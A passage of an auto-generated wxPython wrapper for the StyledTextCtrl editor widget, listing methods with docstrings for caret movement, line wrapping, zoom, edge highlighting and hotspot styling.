lines.\n \"\"\"\n return _stc.StyledTextCtrl_SetWrapVisualFlags(*args, **kwargs)\n\n def GetWrapVisualFlags(*args, **kwargs):\n \"\"\"\n GetWrapVisualFlags(self) -> int\n\n Retrive the display mode of visual flags for wrapped lines.\n \"\"\"\n return _stc.StyledTextCtrl_GetWrapVisualFlags(*args, **kwargs)\n\n def SetWrapVisualFlagsLocation(*args, **kwargs):\n \"\"\"\n SetWrapVisualFlagsLocation(self, int wrapVisualFlagsLocation)\n\n Set the location of visual flags for wrapped lines.\n \"\"\"\n return _stc.StyledTextCtrl_SetWrapVisualFlagsLocation(*args, **kwargs)\n\n def GetWrapVisualFlagsLocation(*args, **kwargs):\n \"\"\"\n GetWrapVisualFlagsLocation(self) -> int\n\n Retrive the location of visual flags for wrapped lines.\n \"\"\"\n return _stc.StyledTextCtrl_GetWrapVisualFlagsLocation(*args, **kwargs)\n\n def SetWrapStartIndent(*args, **kwargs):\n \"\"\"\n SetWrapStartIndent(self, int indent)\n\n Set the start indent for wrapped lines.\n \"\"\"\n return _stc.StyledTextCtrl_SetWrapStartIndent(*args, **kwargs)\n\n def GetWrapStartIndent(*args, **kwargs):\n \"\"\"\n GetWrapStartIndent(self) -> int\n\n Retrive the start indent for wrapped lines.\n \"\"\"\n return _stc.StyledTextCtrl_GetWrapStartIndent(*args, **kwargs)\n\n def SetLayoutCache(*args, **kwargs):\n \"\"\"\n SetLayoutCache(self, int mode)\n\n Sets the degree of caching of layout information.\n \"\"\"\n return _stc.StyledTextCtrl_SetLayoutCache(*args, **kwargs)\n\n def GetLayoutCache(*args, **kwargs):\n \"\"\"\n GetLayoutCache(self) -> int\n\n Retrieve the degree of caching of layout information.\n \"\"\"\n return _stc.StyledTextCtrl_GetLayoutCache(*args, **kwargs)\n\n def SetScrollWidth(*args, **kwargs):\n \"\"\"\n SetScrollWidth(self, int pixelWidth)\n\n Sets the document width assumed for scrolling.\n \"\"\"\n return _stc.StyledTextCtrl_SetScrollWidth(*args, **kwargs)\n\n def GetScrollWidth(*args, **kwargs):\n \"\"\"\n GetScrollWidth(self) -> int\n\n Retrieve the document width assumed for scrolling.\n \"\"\"\n return _stc.StyledTextCtrl_GetScrollWidth(*args, **kwargs)\n\n def TextWidth(*args, **kwargs):\n \"\"\"\n TextWidth(self, int style, String text) -> int\n\n Measure the pixel width of some text in a particular style.\n NUL terminated text argument.\n Does not handle tab or control characters.\n \"\"\"\n return _stc.StyledTextCtrl_TextWidth(*args, **kwargs)\n\n def SetEndAtLastLine(*args, **kwargs):\n \"\"\"\n SetEndAtLastLine(self, bool endAtLastLine)\n\n Sets the scroll range so that maximum scroll position has\n the last line at the bottom of the view (default).\n Setting this to false allows scrolling one page below the last line.\n \"\"\"\n return _stc.StyledTextCtrl_SetEndAtLastLine(*args, **kwargs)\n\n def GetEndAtLastLine(*args, **kwargs):\n \"\"\"\n GetEndAtLastLine(self) -> bool\n\n Retrieve whether the maximum scroll position has the last\n line at the bottom of the view.\n \"\"\"\n return _stc.StyledTextCtrl_GetEndAtLastLine(*args, **kwargs)\n\n def TextHeight(*args, **kwargs):\n \"\"\"\n TextHeight(self, int line) -> int\n\n Retrieve the height of a particular line of text in pixels.\n \"\"\"\n return _stc.StyledTextCtrl_TextHeight(*args, **kwargs)\n\n def SetUseVerticalScrollBar(*args, **kwargs):\n \"\"\"\n SetUseVerticalScrollBar(self, bool show)\n\n Show or hide the vertical scroll bar.\n \"\"\"\n return _stc.StyledTextCtrl_SetUseVerticalScrollBar(*args, **kwargs)\n\n def GetUseVerticalScrollBar(*args, **kwargs):\n \"\"\"\n GetUseVerticalScrollBar(self) -> bool\n\n Is the vertical scroll bar visible?\n \"\"\"\n return _stc.StyledTextCtrl_GetUseVerticalScrollBar(*args, **kwargs)\n\n def AppendText(*args, **kwargs):\n \"\"\"\n AppendText(self, String text)\n\n Append a string to the end of the document without changing the selection.\n \"\"\"\n return _stc.StyledTextCtrl_AppendText(*args, **kwargs)\n\n def GetTwoPhaseDraw(*args, **kwargs):\n \"\"\"\n GetTwoPhaseDraw(self) -> bool\n\n Is drawing done in two phases with backgrounds drawn before foregrounds?\n \"\"\"\n return _stc.StyledTextCtrl_GetTwoPhaseDraw(*args, **kwargs)\n\n def SetTwoPhaseDraw(*args, **kwargs):\n \"\"\"\n SetTwoPhaseDraw(self, bool twoPhase)\n\n In twoPhaseDraw mode, drawing is performed in two phases, first the background\n and then the foreground. This avoids chopping off characters that overlap the next run.\n \"\"\"\n return _stc.StyledTextCtrl_SetTwoPhaseDraw(*args, **kwargs)\n\n def TargetFromSelection(*args, **kwargs):\n \"\"\"\n TargetFromSelection(self)\n\n Make the target range start and end be the same as the selection range start and end.\n \"\"\"\n return _stc.StyledTextCtrl_TargetFromSelection(*args, **kwargs)\n\n def LinesJoin(*args, **kwargs):\n \"\"\"\n LinesJoin(self)\n\n Join the lines in the target.\n \"\"\"\n return _stc.StyledTextCtrl_LinesJoin(*args, **kwargs)\n\n def LinesSplit(*args, **kwargs):\n \"\"\"\n LinesSplit(self, int pixelWidth)\n\n Split the lines in the target into lines that are less wide than pixelWidth\n where possible.\n \"\"\"\n return _stc.StyledTextCtrl_LinesSplit(*args, **kwargs)\n\n def SetFoldMarginColour(*args, **kwargs):\n \"\"\"\n SetFoldMarginColour(self, bool useSetting, Colour back)\n\n Set the colours used as a chequerboard pattern in the fold margin\n \"\"\"\n return _stc.StyledTextCtrl_SetFoldMarginColour(*args, **kwargs)\n\n def SetFoldMarginHiColour(*args, **kwargs):\n \"\"\"SetFoldMarginHiColour(self, bool useSetting, Colour fore)\"\"\"\n return _stc.StyledTextCtrl_SetFoldMarginHiColour(*args, **kwargs)\n\n def LineDown(*args, **kwargs):\n \"\"\"\n LineDown(self)\n\n Move caret down one line.\n \"\"\"\n return _stc.StyledTextCtrl_LineDown(*args, **kwargs)\n\n\n def LineDownExtend(*args, **kwargs):\n \"\"\"\n LineDownExtend(self)\n\n Move caret down one line extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_LineDownExtend(*args, **kwargs)\n\n def LineUp(*args, **kwargs):\n \"\"\"\n LineUp(self)\n\n Move caret up one line.\n \"\"\"\n return _stc.StyledTextCtrl_LineUp(*args, **kwargs)\n\n\n def LineUpExtend(*args, **kwargs):\n \"\"\"\n LineUpExtend(self)\n\n Move caret up one line extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_LineUpExtend(*args, **kwargs)\n\n def CharLeft(*args, **kwargs):\n \"\"\"\n CharLeft(self)\n\n Move caret left one character.\n \"\"\"\n return _stc.StyledTextCtrl_CharLeft(*args, **kwargs)\n\n def CharLeftExtend(*args, **kwargs):\n \"\"\"\n CharLeftExtend(self)\n\n Move caret left one character extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_CharLeftExtend(*args, **kwargs)\n\n def CharRight(*args, **kwargs):\n \"\"\"\n CharRight(self)\n\n Move caret right one character.\n \"\"\"\n return _stc.StyledTextCtrl_CharRight(*args, **kwargs)\n\n def CharRightExtend(*args, **kwargs):\n \"\"\"\n CharRightExtend(self)\n\n Move caret right one character extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_CharRightExtend(*args, **kwargs)\n\n def WordLeft(*args, **kwargs):\n \"\"\"\n WordLeft(self)\n\n Move caret left one word.\n \"\"\"\n return _stc.StyledTextCtrl_WordLeft(*args, **kwargs)\n\n def WordLeftExtend(*args, **kwargs):\n \"\"\"\n WordLeftExtend(self)\n\n Move caret left one word extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_WordLeftExtend(*args, **kwargs)\n\n def WordRight(*args, **kwargs):\n \"\"\"\n WordRight(self)\n\n Move caret right one word.\n \"\"\"\n return _stc.StyledTextCtrl_WordRight(*args, **kwargs)\n\n def WordRightExtend(*args, **kwargs):\n \"\"\"\n WordRightExtend(self)\n\n Move caret right one word extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_WordRightExtend(*args, **kwargs)\n\n def Home(*args, **kwargs):\n \"\"\"\n Home(self)\n\n Move caret to first position on line.\n \"\"\"\n return _stc.StyledTextCtrl_Home(*args, **kwargs)\n\n def HomeExtend(*args, **kwargs):\n \"\"\"\n HomeExtend(self)\n\n Move caret to first position on line extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_HomeExtend(*args, **kwargs)\n\n def LineEnd(*args, **kwargs):\n \"\"\"\n LineEnd(self)\n\n Move caret to last position on line.\n \"\"\"\n return _stc.StyledTextCtrl_LineEnd(*args, **kwargs)\n\n def LineEndExtend(*args, **kwargs):\n \"\"\"\n LineEndExtend(self)\n\n Move caret to last position on line extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_LineEndExtend(*args, **kwargs)\n\n def DocumentStart(*args, **kwargs):\n \"\"\"\n DocumentStart(self)\n\n Move caret to first position in document.\n \"\"\"\n return _stc.StyledTextCtrl_DocumentStart(*args, **kwargs)\n\n def DocumentStartExtend(*args, **kwargs):\n \"\"\"\n DocumentStartExtend(self)\n\n Move caret to first position in document extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_DocumentStartExtend(*args, **kwargs)\n\n def DocumentEnd(*args, **kwargs):\n \"\"\"\n DocumentEnd(self)\n\n Move caret to last position in document.\n \"\"\"\n return _stc.StyledTextCtrl_DocumentEnd(*args, **kwargs)\n\n def DocumentEndExtend(*args, **kwargs):\n \"\"\"\n DocumentEndExtend(self)\n\n Move caret to last position in document extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_DocumentEndExtend(*args, **kwargs)\n\n def PageUp(*args, **kwargs):\n \"\"\"\n PageUp(self)\n\n Move caret one page up.\n \"\"\"\n return _stc.StyledTextCtrl_PageUp(*args, **kwargs)\n\n\n def PageUpExtend(*args, **kwargs):\n \"\"\"\n PageUpExtend(self)\n\n Move caret one page up extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_PageUpExtend(*args, **kwargs)\n\n def PageDown(*args, **kwargs):\n \"\"\"\n PageDown(self)\n\n Move caret one page down.\n \"\"\"\n return _stc.StyledTextCtrl_PageDown(*args, **kwargs)\n\n\n def PageDownExtend(*args, **kwargs):\n \"\"\"\n PageDownExtend(self)\n\n Move caret one page down extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_PageDownExtend(*args, **kwargs)\n\n def EditToggleOvertype(*args, **kwargs):\n \"\"\"\n EditToggleOvertype(self)\n\n Switch from insert to overtype mode or the reverse.\n \"\"\"\n return _stc.StyledTextCtrl_EditToggleOvertype(*args, **kwargs)\n\n def Cancel(*args, **kwargs):\n \"\"\"\n Cancel(self)\n\n Cancel any modes such as call tip or auto-completion list display.\n \"\"\"\n return _stc.StyledTextCtrl_Cancel(*args, **kwargs)\n\n def DeleteBack(*args, **kwargs):\n \"\"\"\n DeleteBack(self)\n\n Delete the selection or if no selection, the character before the caret.\n \"\"\"\n return _stc.StyledTextCtrl_DeleteBack(*args, **kwargs)\n\n def Tab(*args, **kwargs):\n \"\"\"\n Tab(self)\n\n If selection is empty or all on one line replace the selection with a tab character.\n If more than one line selected, indent the lines.\n \"\"\"\n return _stc.StyledTextCtrl_Tab(*args, **kwargs)\n\n def BackTab(*args, **kwargs):\n \"\"\"\n BackTab(self)\n\n Dedent the selected lines.\n \"\"\"\n return _stc.StyledTextCtrl_BackTab(*args, **kwargs)\n\n def NewLine(*args, **kwargs):\n \"\"\"\n NewLine(self)\n\n Insert a new line, may use a CRLF, CR or LF depending on EOL mode.\n \"\"\"\n return _stc.StyledTextCtrl_NewLine(*args, **kwargs)\n\n def FormFeed(*args, **kwargs):\n \"\"\"\n FormFeed(self)\n\n Insert a Form Feed character.\n \"\"\"\n return _stc.StyledTextCtrl_FormFeed(*args, **kwargs)\n\n def VCHome(*args, **kwargs):\n \"\"\"\n VCHome(self)\n\n Move caret to before first visible character on line.\n If already there move to first character on line.\n \"\"\"\n return _stc.StyledTextCtrl_VCHome(*args, **kwargs)\n\n def VCHomeExtend(*args, **kwargs):\n \"\"\"\n VCHomeExtend(self)\n\n Like VCHome but extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_VCHomeExtend(*args, **kwargs)\n\n def ZoomIn(*args, **kwargs):\n \"\"\"\n ZoomIn(self)\n\n Magnify the displayed text by increasing the sizes by 1 point.\n \"\"\"\n return _stc.StyledTextCtrl_ZoomIn(*args, **kwargs)\n\n def ZoomOut(*args, **kwargs):\n \"\"\"\n ZoomOut(self)\n\n Make the displayed text smaller by decreasing the sizes by 1 point.\n \"\"\"\n return _stc.StyledTextCtrl_ZoomOut(*args, **kwargs)\n\n def DelWordLeft(*args, **kwargs):\n \"\"\"\n DelWordLeft(self)\n\n Delete the word to the left of the caret.\n \"\"\"\n return _stc.StyledTextCtrl_DelWordLeft(*args, **kwargs)\n\n def DelWordRight(*args, **kwargs):\n \"\"\"\n DelWordRight(self)\n\n Delete the word to the right of the caret.\n \"\"\"\n return _stc.StyledTextCtrl_DelWordRight(*args, **kwargs)\n\n def LineCut(*args, **kwargs):\n \"\"\"\n LineCut(self)\n\n Cut the line containing the caret.\n \"\"\"\n return _stc.StyledTextCtrl_LineCut(*args, **kwargs)\n\n def LineDelete(*args, **kwargs):\n \"\"\"\n LineDelete(self)\n\n Delete the line containing the caret.\n \"\"\"\n return _stc.StyledTextCtrl_LineDelete(*args, **kwargs)\n\n def LineTranspose(*args, **kwargs):\n \"\"\"\n LineTranspose(self)\n\n Switch the current line with the previous.\n \"\"\"\n return _stc.StyledTextCtrl_LineTranspose(*args, **kwargs)\n\n def LineDuplicate(*args, **kwargs):\n \"\"\"\n LineDuplicate(self)\n\n Duplicate the current line.\n \"\"\"\n return _stc.StyledTextCtrl_LineDuplicate(*args, **kwargs)\n\n def LowerCase(*args, **kwargs):\n \"\"\"\n LowerCase(self)\n\n Transform the selection to lower case.\n \"\"\"\n return _stc.StyledTextCtrl_LowerCase(*args, **kwargs)\n\n def UpperCase(*args, **kwargs):\n \"\"\"\n UpperCase(self)\n\n Transform the selection to upper case.\n \"\"\"\n return _stc.StyledTextCtrl_UpperCase(*args, **kwargs)\n\n def LineScrollDown(*args, **kwargs):\n \"\"\"\n LineScrollDown(self)\n\n Scroll the document down, keeping the caret visible.\n \"\"\"\n return _stc.StyledTextCtrl_LineScrollDown(*args, **kwargs)\n\n def LineScrollUp(*args, **kwargs):\n \"\"\"\n LineScrollUp(self)\n\n Scroll the document up, keeping the caret visible.\n \"\"\"\n return _stc.StyledTextCtrl_LineScrollUp(*args, **kwargs)\n\n def DeleteBackNotLine(*args, **kwargs):\n \"\"\"\n DeleteBackNotLine(self)\n\n Delete the selection or if no selection, the character before the caret.\n Will not delete the character before at the start of a line.\n \"\"\"\n return _stc.StyledTextCtrl_DeleteBackNotLine(*args, **kwargs)\n\n def HomeDisplay(*args, **kwargs):\n \"\"\"\n HomeDisplay(self)\n\n Move caret to first position on display line.\n \"\"\"\n return _stc.StyledTextCtrl_HomeDisplay(*args, **kwargs)\n\n def HomeDisplayExtend(*args, **kwargs):\n \"\"\"\n HomeDisplayExtend(self)\n\n Move caret to first position on display line extending selection to\n new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_HomeDisplayExtend(*args, **kwargs)\n\n def LineEndDisplay(*args, **kwargs):\n \"\"\"\n LineEndDisplay(self)\n\n Move caret to last position on display line.\n \"\"\"\n return _stc.StyledTextCtrl_LineEndDisplay(*args, **kwargs)\n\n def LineEndDisplayExtend(*args, **kwargs):\n \"\"\"\n LineEndDisplayExtend(self)\n\n Move caret to last position on display line extending selection to new\n caret position.\n \"\"\"\n return _stc.StyledTextCtrl_LineEndDisplayExtend(*args, **kwargs)\n\n def HomeWrap(*args, **kwargs):\n \"\"\"\n HomeWrap(self)\n\n These are like their namesakes Home(Extend)?, LineEnd(Extend)?, VCHome(Extend)?\n except they behave differently when word-wrap is enabled:\n They go first to the start / end of the display line, like (Home|LineEnd)Display\n The difference is that, the cursor is already at the point, it goes on to the start\n or end of the document line, as appropriate for (Home|LineEnd|VCHome)(Extend)?.\n \"\"\"\n return _stc.StyledTextCtrl_HomeWrap(*args, **kwargs)\n\n def HomeWrapExtend(*args, **kwargs):\n \"\"\"HomeWrapExtend(self)\"\"\"\n return _stc.StyledTextCtrl_HomeWrapExtend(*args, **kwargs)\n\n def LineEndWrap(*args, **kwargs):\n \"\"\"LineEndWrap(self)\"\"\"\n return _stc.StyledTextCtrl_LineEndWrap(*args, **kwargs)\n\n def LineEndWrapExtend(*args, **kwargs):\n \"\"\"LineEndWrapExtend(self)\"\"\"\n return _stc.StyledTextCtrl_LineEndWrapExtend(*args, **kwargs)\n\n def VCHomeWrap(*args, **kwargs):\n \"\"\"VCHomeWrap(self)\"\"\"\n return _stc.StyledTextCtrl_VCHomeWrap(*args, **kwargs)\n\n def VCHomeWrapExtend(*args, **kwargs):\n \"\"\"VCHomeWrapExtend(self)\"\"\"\n return _stc.StyledTextCtrl_VCHomeWrapExtend(*args, **kwargs)\n\n def LineCopy(*args, **kwargs):\n \"\"\"\n LineCopy(self)\n\n Copy the line containing the caret.\n \"\"\"\n return _stc.StyledTextCtrl_LineCopy(*args, **kwargs)\n\n def MoveCaretInsideView(*args, **kwargs):\n \"\"\"\n MoveCaretInsideView(self)\n\n Move the caret inside current view if it's not there already.\n \"\"\"\n return _stc.StyledTextCtrl_MoveCaretInsideView(*args, **kwargs)\n\n def LineLength(*args, **kwargs):\n \"\"\"\n LineLength(self, int line) -> int\n\n How many characters are on a line, not including end of line characters?\n \"\"\"\n return _stc.StyledTextCtrl_LineLength(*args, **kwargs)\n\n def BraceHighlight(*args, **kwargs):\n \"\"\"\n BraceHighlight(self, int pos1, int pos2)\n\n Highlight the characters at two positions.\n \"\"\"\n return _stc.StyledTextCtrl_BraceHighlight(*args, **kwargs)\n\n def BraceBadLight(*args, **kwargs):\n \"\"\"\n BraceBadLight(self, int pos)\n\n Highlight the character at a position indicating there is no matching brace.\n \"\"\"\n return _stc.StyledTextCtrl_BraceBadLight(*args, **kwargs)\n\n def BraceMatch(*args, **kwargs):\n \"\"\"\n BraceMatch(self, int pos) -> int\n\n Find the position of a matching brace or INVALID_POSITION if no match.\n \"\"\"\n return _stc.StyledTextCtrl_BraceMatch(*args, **kwargs)\n\n def GetViewEOL(*args, **kwargs):\n \"\"\"\n GetViewEOL(self) -> bool\n\n Are the end of line characters visible?\n \"\"\"\n return _stc.StyledTextCtrl_GetViewEOL(*args, **kwargs)\n\n def SetViewEOL(*args, **kwargs):\n \"\"\"\n SetViewEOL(self, bool visible)\n\n Make the end of line characters visible or invisible.\n \"\"\"\n return _stc.StyledTextCtrl_SetViewEOL(*args, **kwargs)\n\n def GetDocPointer(*args, **kwargs):\n \"\"\"\n GetDocPointer(self) -> void\n\n Retrieve a pointer to the document object.\n \"\"\"\n return _stc.StyledTextCtrl_GetDocPointer(*args, **kwargs)\n\n def SetDocPointer(*args, **kwargs):\n \"\"\"\n SetDocPointer(self, void docPointer)\n\n Change the document object used.\n \"\"\"\n return _stc.StyledTextCtrl_SetDocPointer(*args, **kwargs)\n\n def SetModEventMask(*args, **kwargs):\n \"\"\"\n SetModEventMask(self, int mask)\n\n Set which document modification events are sent to the container.\n \"\"\"\n return _stc.StyledTextCtrl_SetModEventMask(*args, **kwargs)\n\n def GetEdgeColumn(*args, **kwargs):\n \"\"\"\n GetEdgeColumn(self) -> int\n\n Retrieve the column number which text should be kept within.\n \"\"\"\n return _stc.StyledTextCtrl_GetEdgeColumn(*args, **kwargs)\n\n def SetEdgeColumn(*args, **kwargs):\n \"\"\"\n SetEdgeColumn(self, int column)\n\n Set the column number of the edge.\n If text goes past the edge then it is highlighted.\n \"\"\"\n return _stc.StyledTextCtrl_SetEdgeColumn(*args, **kwargs)\n\n def GetEdgeMode(*args, **kwargs):\n \"\"\"\n GetEdgeMode(self) -> int\n\n Retrieve the edge highlight mode.\n \"\"\"\n return _stc.StyledTextCtrl_GetEdgeMode(*args, **kwargs)\n\n def SetEdgeMode(*args, **kwargs):\n \"\"\"\n SetEdgeMode(self, int mode)\n\n The edge may be displayed by a line (EDGE_LINE) or by highlighting text that\n goes beyond it (EDGE_BACKGROUND) or not displayed at all (EDGE_NONE).\n \"\"\"\n return _stc.StyledTextCtrl_SetEdgeMode(*args, **kwargs)\n\n def GetEdgeColour(*args, **kwargs):\n \"\"\"\n GetEdgeColour(self) -> Colour\n\n Retrieve the colour used in edge indication.\n \"\"\"\n return _stc.StyledTextCtrl_GetEdgeColour(*args, **kwargs)\n\n def SetEdgeColour(*args, **kwargs):\n \"\"\"\n SetEdgeColour(self, Colour edgeColour)\n\n Change the colour used in edge indication.\n \"\"\"\n return _stc.StyledTextCtrl_SetEdgeColour(*args, **kwargs)\n\n def SearchAnchor(*args, **kwargs):\n \"\"\"\n SearchAnchor(self)\n\n Sets the current caret position to be the search anchor.\n \"\"\"\n return _stc.StyledTextCtrl_SearchAnchor(*args, **kwargs)\n\n def SearchNext(*args, **kwargs):\n \"\"\"\n SearchNext(self, int flags, String text) -> int\n\n Find some text starting at the search anchor.\n Does not ensure the selection is visible.\n \"\"\"\n return _stc.StyledTextCtrl_SearchNext(*args, **kwargs)\n\n def SearchPrev(*args, **kwargs):\n \"\"\"\n SearchPrev(self, int flags, String text) -> int\n\n Find some text starting at the search anchor and moving backwards.\n Does not ensure the selection is visible.\n \"\"\"\n return _stc.StyledTextCtrl_SearchPrev(*args, **kwargs)\n\n def LinesOnScreen(*args, **kwargs):\n \"\"\"\n LinesOnScreen(self) -> int\n\n Retrieves the number of lines completely visible.\n \"\"\"\n return _stc.StyledTextCtrl_LinesOnScreen(*args, **kwargs)\n\n def UsePopUp(*args, **kwargs):\n \"\"\"\n UsePopUp(self, bool allowPopUp)\n\n Set whether a pop up menu is displayed automatically when the user presses\n the wrong mouse button.\n \"\"\"\n return _stc.StyledTextCtrl_UsePopUp(*args, **kwargs)\n\n def SelectionIsRectangle(*args, **kwargs):\n \"\"\"\n SelectionIsRectangle(self) -> bool\n\n Is the selection rectangular? The alternative is the more common stream selection.\n \"\"\"\n return _stc.StyledTextCtrl_SelectionIsRectangle(*args, **kwargs)\n\n def SetZoom(*args, **kwargs):\n \"\"\"\n SetZoom(self, int zoom)\n\n Set the zoom level. This number of points is added to the size of all fonts.\n It may be positive to magnify or negative to reduce.\n \"\"\"\n return _stc.StyledTextCtrl_SetZoom(*args, **kwargs)\n\n def GetZoom(*args, **kwargs):\n \"\"\"\n GetZoom(self) -> int\n\n Retrieve the zoom level.\n \"\"\"\n return _stc.StyledTextCtrl_GetZoom(*args, **kwargs)\n\n def CreateDocument(*args, **kwargs):\n \"\"\"\n CreateDocument(self) -> void\n\n Create a new document object.\n Starts with reference count of 1 and not selected into editor.\n \"\"\"\n return _stc.StyledTextCtrl_CreateDocument(*args, **kwargs)\n\n def AddRefDocument(*args, **kwargs):\n \"\"\"\n AddRefDocument(self, void docPointer)\n\n Extend life of document.\n \"\"\"\n return _stc.StyledTextCtrl_AddRefDocument(*args, **kwargs)\n\n def ReleaseDocument(*args, **kwargs):\n \"\"\"\n ReleaseDocument(self, void docPointer)\n\n Release a reference to the document, deleting document if it fades to black.\n \"\"\"\n return _stc.StyledTextCtrl_ReleaseDocument(*args, **kwargs)\n\n def GetModEventMask(*args, **kwargs):\n \"\"\"\n GetModEventMask(self) -> int\n\n Get which document modification events are sent to the container.\n \"\"\"\n return _stc.StyledTextCtrl_GetModEventMask(*args, **kwargs)\n\n def SetSTCFocus(*args, **kwargs):\n \"\"\"\n SetSTCFocus(self, bool focus)\n\n Change internal focus flag.\n \"\"\"\n return _stc.StyledTextCtrl_SetSTCFocus(*args, **kwargs)\n\n def GetSTCFocus(*args, **kwargs):\n \"\"\"\n GetSTCFocus(self) -> bool\n\n Get internal focus flag.\n \"\"\"\n return _stc.StyledTextCtrl_GetSTCFocus(*args, **kwargs)\n\n def SetStatus(*args, **kwargs):\n \"\"\"\n SetStatus(self, int statusCode)\n\n Change error status - 0 = OK.\n \"\"\"\n return _stc.StyledTextCtrl_SetStatus(*args, **kwargs)\n\n def GetStatus(*args, **kwargs):\n \"\"\"\n GetStatus(self) -> int\n\n Get error status.\n \"\"\"\n return _stc.StyledTextCtrl_GetStatus(*args, **kwargs)\n\n def SetMouseDownCaptures(*args, **kwargs):\n \"\"\"\n SetMouseDownCaptures(self, bool captures)\n\n Set whether the mouse is captured when its button is pressed.\n \"\"\"\n return _stc.StyledTextCtrl_SetMouseDownCaptures(*args, **kwargs)\n\n def GetMouseDownCaptures(*args, **kwargs):\n \"\"\"\n GetMouseDownCaptures(self) -> bool\n\n Get whether mouse gets captured.\n \"\"\"\n return _stc.StyledTextCtrl_GetMouseDownCaptures(*args, **kwargs)\n\n def SetSTCCursor(*args, **kwargs):\n \"\"\"\n SetSTCCursor(self, int cursorType)\n\n Sets the cursor to one of the SC_CURSOR* values.\n \"\"\"\n return _stc.StyledTextCtrl_SetSTCCursor(*args, **kwargs)\n\n def GetSTCCursor(*args, **kwargs):\n \"\"\"\n GetSTCCursor(self) -> int\n\n Get cursor type.\n \"\"\"\n return _stc.StyledTextCtrl_GetSTCCursor(*args, **kwargs)\n\n def SetControlCharSymbol(*args, **kwargs):\n \"\"\"\n SetControlCharSymbol(self, int symbol)\n\n Change the way control characters are displayed:\n If symbol is < 32, keep the drawn way, else, use the given character.\n \"\"\"\n return _stc.StyledTextCtrl_SetControlCharSymbol(*args, **kwargs)\n\n def GetControlCharSymbol(*args, **kwargs):\n \"\"\"\n GetControlCharSymbol(self) -> int\n\n Get the way control characters are displayed.\n \"\"\"\n return _stc.StyledTextCtrl_GetControlCharSymbol(*args, **kwargs)\n\n def WordPartLeft(*args, **kwargs):\n \"\"\"\n WordPartLeft(self)\n\n Move to the previous change in capitalisation.\n \"\"\"\n return _stc.StyledTextCtrl_WordPartLeft(*args, **kwargs)\n\n def WordPartLeftExtend(*args, **kwargs):\n \"\"\"\n WordPartLeftExtend(self)\n\n Move to the previous change in capitalisation extending selection\n to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_WordPartLeftExtend(*args, **kwargs)\n\n def WordPartRight(*args, **kwargs):\n \"\"\"\n WordPartRight(self)\n\n Move to the change next in capitalisation.\n \"\"\"\n return _stc.StyledTextCtrl_WordPartRight(*args, **kwargs)\n\n def WordPartRightExtend(*args, **kwargs):\n \"\"\"\n WordPartRightExtend(self)\n\n Move to the next change in capitalisation extending selection\n to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_WordPartRightExtend(*args, **kwargs)\n\n def SetVisiblePolicy(*args, **kwargs):\n \"\"\"\n SetVisiblePolicy(self, int visiblePolicy, int visibleSlop)\n\n Set the way the display area is determined when a particular line\n is to be moved to by Find, FindNext, GotoLine, etc.\n \"\"\"\n return _stc.StyledTextCtrl_SetVisiblePolicy(*args, **kwargs)\n\n def DelLineLeft(*args, **kwargs):\n \"\"\"\n DelLineLeft(self)\n\n Delete back from the current position to the start of the line.\n \"\"\"\n return _stc.StyledTextCtrl_DelLineLeft(*args, **kwargs)\n\n def DelLineRight(*args, **kwargs):\n \"\"\"\n DelLineRight(self)\n\n Delete forwards from the current position to the end of the line.\n \"\"\"\n return _stc.StyledTextCtrl_DelLineRight(*args, **kwargs)\n\n def SetXOffset(*args, **kwargs):\n \"\"\"\n SetXOffset(self, int newOffset)\n\n Get and Set the xOffset (ie, horizonal scroll position).\n \"\"\"\n return _stc.StyledTextCtrl_SetXOffset(*args, **kwargs)\n\n def GetXOffset(*args, **kwargs):\n \"\"\"GetXOffset(self) -> int\"\"\"\n return _stc.StyledTextCtrl_GetXOffset(*args, **kwargs)\n\n def ChooseCaretX(*args, **kwargs):\n \"\"\"\n ChooseCaretX(self)\n\n Set the last x chosen value to be the caret x position.\n \"\"\"\n return _stc.StyledTextCtrl_ChooseCaretX(*args, **kwargs)\n\n def SetXCaretPolicy(*args, **kwargs):\n \"\"\"\n SetXCaretPolicy(self, int caretPolicy, int caretSlop)\n\n Set the way the caret is kept visible when going sideway.\n The exclusion zone is given in pixels.\n \"\"\"\n return _stc.StyledTextCtrl_SetXCaretPolicy(*args, **kwargs)\n\n def SetYCaretPolicy(*args, **kwargs):\n \"\"\"\n SetYCaretPolicy(self, int caretPolicy, int caretSlop)\n\n Set the way the line the caret is on is kept visible.\n The exclusion zone is given in lines.\n \"\"\"\n return _stc.StyledTextCtrl_SetYCaretPolicy(*args, **kwargs)\n\n def SetPrintWrapMode(*args, **kwargs):\n \"\"\"\n SetPrintWrapMode(self, int mode)\n\n Set printing to line wrapped (SC_WRAP_WORD) or not line wrapped (SC_WRAP_NONE).\n \"\"\"\n return _stc.StyledTextCtrl_SetPrintWrapMode(*args, **kwargs)\n\n def GetPrintWrapMode(*args, **kwargs):\n \"\"\"\n GetPrintWrapMode(self) -> int\n\n Is printing line wrapped?\n \"\"\"\n return _stc.StyledTextCtrl_GetPrintWrapMode(*args, **kwargs)\n\n def SetHotspotActiveForeground(*args, **kwargs):\n \"\"\"\n SetHotspotActiveForeground(self, bool useSetting, Colour fore)\n\n Set a fore colour for active hotspots.\n \"\"\"\n return _stc.StyledTextCtrl_SetHotspotActiveForeground(*args, **kwargs)\n\n def SetHotspotActiveBackground(*args, **kwargs):\n \"\"\"\n SetHotspotActiveBackground(self, bool useSetting, Colour back)\n\n Set a back colour for active hotspots.\n \"\"\"\n return _stc.StyledTextCtrl_SetHotspotActiveBackground(*args, **kwargs)\n\n def SetHotspotActiveUnderline(*args, **kwargs):\n \"\"\"\n SetHotspotActiveUnderline(self, bool underline)\n\n Enable / Disable underlining active hotspots.\n \"\"\"\n return 